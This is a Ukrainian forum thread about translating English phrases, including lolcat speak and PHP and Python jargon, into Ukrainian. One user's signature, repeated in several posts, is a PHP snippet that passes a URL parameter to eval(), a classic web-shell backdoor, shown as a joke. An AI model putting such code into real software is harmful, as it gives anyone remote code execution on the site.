1

Тема: Як перекласти на українську

Вирішив створити тему "Як перекласти на українську" для перекладачів та локалізаторів.

Перше питання:

I CAN HAZ TESTZ?


Єдине що мені в голову приходить це: "Я хтів-би тестів" але не впевнений що це близько до того тону з яким воно написано.

2

Re: Як перекласти на українську

як на мене "чи можу я взяти/приступити/пройти тести?"

Психологічні бесіди з додатковою послугою промивання мізків. Недорого.
Не дизайню. Взагалі ні разу. У назві розділу "Дизайн та графіка" є слово "графіка" - ось тут трохи шарю. І не більше. Так, часто питають.
Продам гараж

3

Re: Як перекласти на українську

Ну але "чи можу я" якось так грамотно звучить і якось з вимовою HAZ в мене не асоціюється.

4

Re: Як перекласти на українську

А МОНА ЗАТЕСТИТИСЬ?
Якось так - там купа помилок, причому свідомих.
http://lurkmore.to/lolcat

Подякували: bunyk, ostap34PHP2

5

Re: Як перекласти на українську

а це взагалі з якої? Голандська?

6 Востаннє редагувалося koala (07.10.2013 07:40:12)

Re: Як перекласти на українську

Vo_Vik написав:

а це взагалі з якої? Голандська?

Це англійський ератив, щось типу російської "албанської" чи українського "свідомого суржика". Це фраза

Can I have test?

з:
- капсом;
- неправильним порядком слів;
- неправильним відмінюванням have;
- неправильним написанням закінчення -s.

Подякували: VaultDweller1

7

Re: Як перекласти на українську

koala написав:
Vo_Vik написав:

а це взагалі з якої? Голандська?

Це англійський ератив, щось типу російської "албанської" чи українського "свідомого суржика". Це фраза

Can I have test?

з:
- капсом;
- неправильним порядком слів;
- неправильним відмінюванням have;
- неправильним написанням закінчення -s.

мені чомусь здається, що перед "test" має стояти артикль "a". Ну от хз чому, просто так якось звучить краще =|

All you want is a dingle,
What you envy's a schwang,
A thing through which you can tinkle,
Or play with, or simply let hang...

8

Re: Як перекласти на українську

TRYCUKI_V_KROVI написав:

мені чомусь здається, що перед "test" має стояти артикль "a". Ну от хз чому, просто так якось звучить краще =|

Американцям історично важко поратися з артиклями, тож вони часто їх опускають.

I belong to the Dead Generation.

9

Re: Як перекласти на українську

TRYCUKI_V_KROVI написав:

мені чомусь здається, що перед "test" має стояти артикль "a". Ну от хз чому, просто так якось звучить краще =|

Погоджуся. Читайте підпис.

10

Re: Як перекласти на українську

Перекладайте азіровкою, буде найближче до оригіналу.

Чі могу я прійті тест?

Перекладати треба з душею. А не просто слово в слово. Дивитись яким персонажем дане речення видане і шукати відповідників в українській культурі. Наприклад для перекладу схожих фраз можна скористатись багатим словником людини яка тут на форумі пиши бої між персонажами.

Подякували: Cyan, Очі.завидющі2

11 Востаннє редагувалося incred (20.10.2013 13:51:57)

Re: Як перекласти на українську

koala написав:
TRYCUKI_V_KROVI написав:

мені чомусь здається, що перед "test" має стояти артикль "a". Ну от хз чому, просто так якось звучить краще =|

Погоджуся. Читайте підпис.

Хтось колись десь написав:

Вкрай важливо!!!
2 ознаки іменників:
→ обов'язковість вживання ОДНОГО з визначників перед іменниками:
I can charm +   (HIS = його)           +     girl.
                 +   (NO = жодну)
                 +   (ANY = будь-яку)
                 +   (THIS = цю)
                 +   (SUCH A = таку)
                 +   (SOME = деяку)
                 +   (A/THE = одну/ту)
→ з одним іменником можна використати лише один визначник.

12

Re: Як перекласти на українську

Допоможіть з цим:

how do you reverse a reference-operator-formed variable linkage?

Я нічого не зрозумів. Як перекласти?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

13

Re: Як перекласти на українську

Invader
Про яку мову програмування йде мова?

Подякували: ostap34PHP1

14

Re: Як перекласти на українську

how do you reverse a reference-operator-formed variable linkage?

Як ви обернете зв’язок зі змінною сформований оператором посилання?

15 Востаннє редагувалося Invader (11.02.2014 01:58:28)

Re: Як перекласти на українську

Torbins, PHP. Відповідь:

voids the variable totally; if inside a function, only voided within function

. Може це допоможе.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

16 Востаннє редагувалося Invader (17.02.2014 19:17:10)

Re: Як перекласти на українську

Batteries Included philosophy? Це про Python.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

17

Re: Як перекласти на українську

Прикріпіть хтось тему.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: ostap34PHP1

18

Re: Як перекласти на українську

Invader написав:

Прикріпіть хтось тему.

done ;)

Психологічні бесіди з додатковою послугою промивання мізків. Недорого.
Не дизайню. Взагалі ні разу. У назві розділу "Дизайн та графіка" є слово "графіка" - ось тут трохи шарю. І не більше. Так, часто питають.
Продам гараж

19

Re: Як перекласти на українську

Invader написав:

Batteries Included philosophy?

Філософія "батарейки додаються"?

20 Востаннє редагувалося Invader (17.02.2014 20:51:33)

Re: Як перекласти на українську

Може, все включено? Або батарейки в комплекті (краще звучить).

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!